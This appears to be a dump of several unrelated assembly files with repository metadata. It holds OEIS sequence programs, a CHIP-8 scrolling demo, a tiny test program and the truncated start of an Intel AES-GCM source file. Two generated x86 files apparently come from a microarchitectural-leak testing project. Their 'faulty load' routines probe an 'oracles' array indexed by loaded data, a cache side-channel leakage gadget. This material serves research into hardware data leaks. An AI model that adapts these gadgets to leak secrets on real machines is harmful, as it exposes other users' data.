"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/108/A108262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/108/A108262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A108262: Second order recursive series having the property that the product of any two adjacent terms equals 4 times a triangular number. That is a(n)*a(n+1)= 4*T(c) = 2c(c+1), where c = the term a(n+1) of related series A108261.
; Submitted by Jamie Morken(s4)
; 3,8,39,220,1275,7424,43263,252148,1469619,8565560,49923735,290976844,1695937323,9884647088,57611945199,335787024100,1957110199395,11406874172264,66484134834183,387497934832828,2258503474162779,13163522910143840,76722633986700255
mov $2,1
lpb $0
sub $0,1
add $2,1
add $2,$1
add $1,$2
add $1,$2
add $2,$1
lpe
mov $0,$2
add $0,2
| 37.8125 | 231 | 0.747107 |
a1e2f0ae53e8994b182727365dd2a4f0e8bda12c | 625 | asm | Assembly | oeis/304/A304973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/304/A304973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/304/A304973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A304973: Number of achiral color patterns (set partitions) for a row or loop of length n using exactly 3 colors (sets).
; Submitted by Jon Maiga
; 0,0,0,1,2,5,10,19,38,65,130,211,422,665,1330,2059,4118,6305,12610,19171,38342,58025,116050,175099,350198,527345,1054690,1586131,3172262,4766585,9533170,14316139,28632278,42981185,85962370,129009091,258018182,387158345,774316690,1161737179,2323474358
mov $2,$0
mov $4,$0
lpb $2
mov $0,$4
sub $0,1
div $0,2
sub $2,3
mod $2,2
mov $3,$0
seq $3,210448 ; Total number of different letters summed over all ternary words of length n.
add $1,$3
lpe
mov $0,$1
div $0,3
| 32.894737 | 251 | 0.7296 |
4e87eb1c4ada07c35b958f642a57cc1253d08f90 | 753 | asm | Assembly | roms/customRom/letterScroll.asm | MrOnlineCoder/eightplay | 11cc9853235e5c5dc0def90a6fc5d8a4259c71c0 | [
"Apache-2.0"
] | null | null | null | roms/customRom/letterScroll.asm | MrOnlineCoder/eightplay | 11cc9853235e5c5dc0def90a6fc5d8a4259c71c0 | [
"Apache-2.0"
] | null | null | null | roms/customRom/letterScroll.asm | MrOnlineCoder/eightplay | 11cc9853235e5c5dc0def90a6fc5d8a4259c71c0 | [
"Apache-2.0"
] | null | null | null | OPTION SCHIP11
option binary
HIGH
CLS
; v1 - v6 with abcdef
ld v1, #08
ld v2, #0b
ld v3, #0c
ld v4, #0d
ld v5, #0e
ld v6, #09
redraw:
ld v7, 34
ld v8, 27
; Testing drawing over bottom edge
;ld v8, 59
; draw a character
ld hf, v1
drw v7, v8, 10
; move x over 10 pixels
add v7, 10
; draw b character
ld hf, v2
drw v7, v8, 10
; move x over 10 pixels
add v7, 10
; draw c character
ld hf, v3
drw v7, v8, 10
; move x over 10 pixels
add v7, 10
; draw d character
ld hf, v4
drw v7, v8, 10
; move x over 10 pixels
add v7, 10
; draw e character
ld hf, v5
drw v7, v8, 10
; move x over 10 pixels
add v7, 10
; draw f character
ld hf, v6
drw v7, v8, 10
Scroll_Start:
ld v9, k
sne v9, 2
scd 4
sne v9, 4
scl
sne v9, 6
scr
jp Scroll_Start
exit
| 9.296296 | 34 | 0.652058 |
cdb68c207836cb4ad8c0fd7b7d0f570399d6d05a | 49 | asm | Assembly | test-suite/programs/unit/xor_0x05.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/xor_0x05.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/xor_0x05.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | 0:MOV [0] 7
3: XOR [0] 15
6:DPRINT [0]
8 :HALT
| 9.8 | 13 | 0.530612 |
06fbf8789cb959c6d36a91957f090f0b389e8eaa | 329 | asm | Assembly | programs/oeis/112/A112819.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/112/A112819.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/112/A112819.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A112819: Numbers k such that lcm(1,2,3,...,k)/15 equals the denominator of the k-th harmonic number H(k).
; 20,24,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558
mov $1,$0
mov $2,$0
lpb $0
mov $0,1
mov $1,169
lpe
add $1,7
mul $1,3
sub $1,1
add $1,$2
| 23.5 | 127 | 0.665653 |
3393f38423b07c6767047ec681547a2f43004bfe | 133 | asm | Assembly | u7bg/eop-dropToPresetDestination.asm | JohnGlassmyer/UltimaHacks | f9a114e00c4a1edf1ac7792b465feff2c9b88ced | [
"MIT"
] | 68 | 2018-03-04T22:34:22.000Z | 2022-03-10T15:18:32.000Z | u7bg/eop-dropToPresetDestination.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
] | 19 | 2018-11-20T04:06:49.000Z | 2021-11-08T16:37:10.000Z | u7bg/eop-dropToPresetDestination.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
] | 4 | 2020-09-01T17:57:36.000Z | 2022-01-04T20:51:11.000Z | %include "include/u7bg-all-includes.asm"
%assign PLACE_ITEM_SOUND 73
%include "../u7-common/patch-eop-dropToPresetDestination.asm"
| 22.166667 | 61 | 0.789474 |
8a1c1ebf6c08e814703cb9e5e53edfe6dee7e255 | 5,705 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_601.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_601.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_601.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x13ef4, %r14
nop
nop
nop
nop
and %rdi, %rdi
movups (%r14), %xmm0
vpextrq $0, %xmm0, %r12
nop
nop
nop
nop
nop
dec %rbx
lea addresses_A_ht+0xba5c, %rsi
lea addresses_normal_ht+0x1929c, %rdi
nop
nop
nop
nop
nop
and %r13, %r13
mov $6, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $40076, %r14
lea addresses_WT_ht+0x15ef4, %r14
nop
nop
nop
and %r12, %r12
movups (%r14), %xmm6
vpextrq $1, %xmm6, %r13
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x9bfc, %r12
nop
nop
cmp $39836, %r14
movw $0x6162, (%r12)
nop
nop
sub %r13, %r13
lea addresses_WT_ht+0x6eb4, %rcx
nop
inc %rsi
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_WT_ht+0x1af34, %r14
nop
nop
nop
nop
nop
lfence
mov (%r14), %di
inc %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_normal+0xcef4, %rbp
nop
nop
nop
nop
nop
xor $43103, %rbx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rbp)
cmp $54239, %rbx
// Faulty Load
lea addresses_UC+0x36f4, %rdx
nop
nop
inc %r9
vmovups (%rdx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r12
lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 38.288591 | 2,999 | 0.660123 |
6a13fcc20225fece4b2c5b8b07bae4969449d29e | 7,095 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21580_207.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21580_207.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21580_207.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xec13, %rax
and $35700, %rcx
mov $0x6162636465666768, %r8
movq %r8, %xmm0
and $0xffffffffffffffc0, %rax
vmovntdq %ymm0, (%rax)
nop
nop
nop
nop
xor %r10, %r10
lea addresses_D_ht+0x7b13, %rsi
lea addresses_WC_ht+0xa413, %rdi
nop
nop
inc %r12
mov $95, %rcx
rep movsl
inc %r10
lea addresses_A_ht+0x20f7, %rsi
lea addresses_D_ht+0xce53, %rdi
clflush (%rdi)
nop
nop
and %rax, %rax
mov $2, %rcx
rep movsb
nop
nop
nop
nop
add %r12, %r12
lea addresses_UC_ht+0x1c057, %rcx
nop
xor $50509, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
nop
and %rax, %rax
lea addresses_D_ht+0x11e13, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
sub $39837, %rdi
mov (%rsi), %r12w
dec %r8
lea addresses_D_ht+0x1225b, %rsi
lea addresses_WT_ht+0x75f3, %rdi
nop
nop
nop
inc %rdx
mov $117, %rcx
rep movsl
nop
and $15808, %rcx
lea addresses_D_ht+0x151cb, %rdx
nop
nop
nop
xor %rdi, %rdi
movb (%rdx), %cl
nop
nop
cmp $20817, %rdx
lea addresses_WC_ht+0x1913, %rdi
nop
nop
nop
xor $60133, %r12
mov (%rdi), %r8w
nop
nop
nop
nop
dec %r10
lea addresses_WC_ht+0x8993, %r10
nop
nop
nop
nop
nop
xor $5365, %rcx
movw $0x6162, (%r10)
nop
inc %rdi
lea addresses_A_ht+0x2e13, %rax
nop
add %rdi, %rdi
movl $0x61626364, (%rax)
nop
nop
nop
and %r12, %r12
lea addresses_A_ht+0x5613, %rdx
and $33864, %r8
mov (%rdx), %r10w
nop
nop
nop
nop
and %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rdx
// Store
lea addresses_normal+0x15e13, %r11
cmp $31013, %r9
movb $0x51, (%r11)
add $21910, %r15
// Store
lea addresses_normal+0xe613, %r12
nop
nop
nop
and %r15, %r15
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
inc %r12
// Faulty Load
lea addresses_WT+0xf613, %rdx
add %r13, %r13
mov (%rdx), %r15
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rdx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': True, 'NT': True, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'39': 21580}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 35.833333 | 2,999 | 0.65525 |
492b4b8dc14a5de88f01fa5fcc5f626dc1b92e26 | 217 | asm | Assembly | data/mapHeaders/ssanne4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapHeaders/ssanne4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapHeaders/ssanne4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | SSAnne4_h:
db SHIP ; tileset
db SS_ANNE_4_HEIGHT, SS_ANNE_4_WIDTH ; dimensions (y, x)
dw SSAnne4Blocks, SSAnne4TextPointers, SSAnne4Script ; blocks, texts, scripts
db $00 ; connections
dw SSAnne4Object ; objects
| 31 | 78 | 0.778802 |
767269e6c178b7d25018fd6fa1506a663da5ffd0 | 578 | asm | Assembly | libsrc/gfx/narrow/unplot.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 4 | 2021-11-20T19:35:01.000Z | 2022-01-01T16:08:42.000Z | libsrc/gfx/narrow/unplot.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | null | null | null | libsrc/gfx/narrow/unplot.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1 | 2021-11-27T15:58:02.000Z | 2021-11-27T15:58:02.000Z | ;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by D Morris - 30/9/98
;
;
; $Id: unplot.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
; ----- void unplot(int x, int y)
IF !__CPU_INTEL__ & !__CPU_GBZ80__
SECTION code_graphics
PUBLIC unplot
PUBLIC _unplot
EXTERN unplot_callee
EXTERN ASMDISP_UNPLOT_CALLEE
.unplot
._unplot
pop af ; ret addr
pop hl ; y
pop de ; x
push de
push hl
ld h,e
push af ; ret addr
jp unplot_callee + ASMDISP_UNPLOT_CALLEE
ENDIF
| 15.210526 | 54 | 0.66609 |
3fd678ee9eb1a55f31137dbfad70ec72e642e5ae | 400 | asm | Assembly | zad1_2.asm | tomwisniewskiprv/ASM | e676e4fe8f769b71fb9e97ce6b9ab31485beacd3 | [
"MIT"
] | 1 | 2019-10-06T14:11:20.000Z | 2019-10-06T14:11:20.000Z | zad1_2.asm | tomwisniewskiprv/ASM | e676e4fe8f769b71fb9e97ce6b9ab31485beacd3 | [
"MIT"
] | null | null | null | zad1_2.asm | tomwisniewskiprv/ASM | e676e4fe8f769b71fb9e97ce6b9ab31485beacd3 | [
"MIT"
] | 1 | 2018-10-07T15:08:09.000Z | 2018-10-07T15:08:09.000Z | ;worksheet 1
;exercise 2
segment code
assume cs: code
main:
mov bx , 0ah ; char counter
mov cx , bx ;
mov dl , 41h ; ascii value to display
next_char: ; displays next char
mov ah , 02h
int 21h
inc dl
dec cx
jnz next_char
exit:
mov ah, 4ch
int 21h
ends code ;end of code segment
end main ;end of program and starting point
| 15.384615 | 46 | 0.5925 |
795c8374dd943f79840e12dd6641ae34f29869d7 | 14,175 | asm | Assembly | sources/ippcp/asm_ia32/pcpaesgcmtable2kv8as.asm | idesai/ipp-crypto | 67220e3042f23d423c7977cdfd8b4f54f3cba2e0 | [
"Apache-2.0"
] | 1 | 2020-11-03T21:30:58.000Z | 2020-11-03T21:30:58.000Z | sources/ippcp/asm_ia32/pcpaesgcmtable2kv8as.asm | idesai/ipp-crypto | 67220e3042f23d423c7977cdfd8b4f54f3cba2e0 | [
"Apache-2.0"
] | null | null | null | sources/ippcp/asm_ia32/pcpaesgcmtable2kv8as.asm | idesai/ipp-crypto | 67220e3042f23d423c7977cdfd8b4f54f3cba2e0 | [
"Apache-2.0"
] | null | null | null | ;===============================================================================
; Copyright 2014-2018 Intel Corporation
; All Rights Reserved.
;
; If this software was obtained under the Intel Simplified Software License,
; the following terms apply:
;
; The source code, information and material ("Material") contained herein is
; owned by Intel Corporation or its suppliers or licensors, and title to such
; Material remains with Intel Corporation or its suppliers or licensors. The
; Material contains proprietary information of Intel or its suppliers and
; licensors. The Material is protected by worldwide copyright laws and treaty
; provisions. No part of the Material may be used, copied, reproduced,
; modified, published, uploaded, posted, transmitted, distributed or disclosed
; in any way without Intel's prior express written permission. No license under
; any patent, copyright or other intellectual property rights in the Material
; is granted to or conferred upon you, either expressly, by implication,
; inducement, estoppel or otherwise. Any license under such intellectual
; property rights must be express and approved by Intel in writing.
;
; Unless otherwise agreed by Intel in writing, you may not remove or alter this
